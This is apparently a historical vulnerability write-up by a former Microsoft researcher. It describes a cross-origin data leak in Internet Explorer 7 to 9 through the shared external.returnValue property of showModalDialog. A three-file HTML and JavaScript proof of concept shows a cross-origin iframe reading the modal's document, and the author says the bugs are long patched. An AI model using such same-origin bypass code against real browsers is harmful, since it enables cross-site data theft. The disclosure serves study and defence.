This is what I would call a cooperative or pseudo-UXSS: both parties need to be set up for it to work, so it requires the attacker to control at least part of the modal dialog’s content. The external.returnValue property of a showModalDialog call is shared across all frames inside that dialog without any domain restrictions — including iFrames pointing to different origins.
<!-- index.html (attacker page) -->
<script language="JavaScript">
function main()
{
showModalDialog("modal.html", window, "dialogwidth=800px");
}
</script>
<input type="button" onclick="main()" value="Open Modal">
<!-- modal.html (attacker-controlled modal content) -->
<!-- Sets returnValue to its own document and embeds a cross-origin iFrame -->
<script>
external.returnValue = document;
</script>
<iframe src="http://different-domain.com/otherdomain.html" width="600"></iframe>
<!-- otherdomain.html (different domain, inside the modal iFrame) -->
<script>
alert(returnValue.body.innerText); // returnValue is modal.html's document
</script>
Inside a modal dialog, external.returnValue is accessible to all frames regardless of their origin. The attacker’s modal page sets returnValue to its own document, and the cross-origin iFrame inside the modal can then read that document freely. This worked on Vista IE7 and Windows 7 IE8/IE9.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.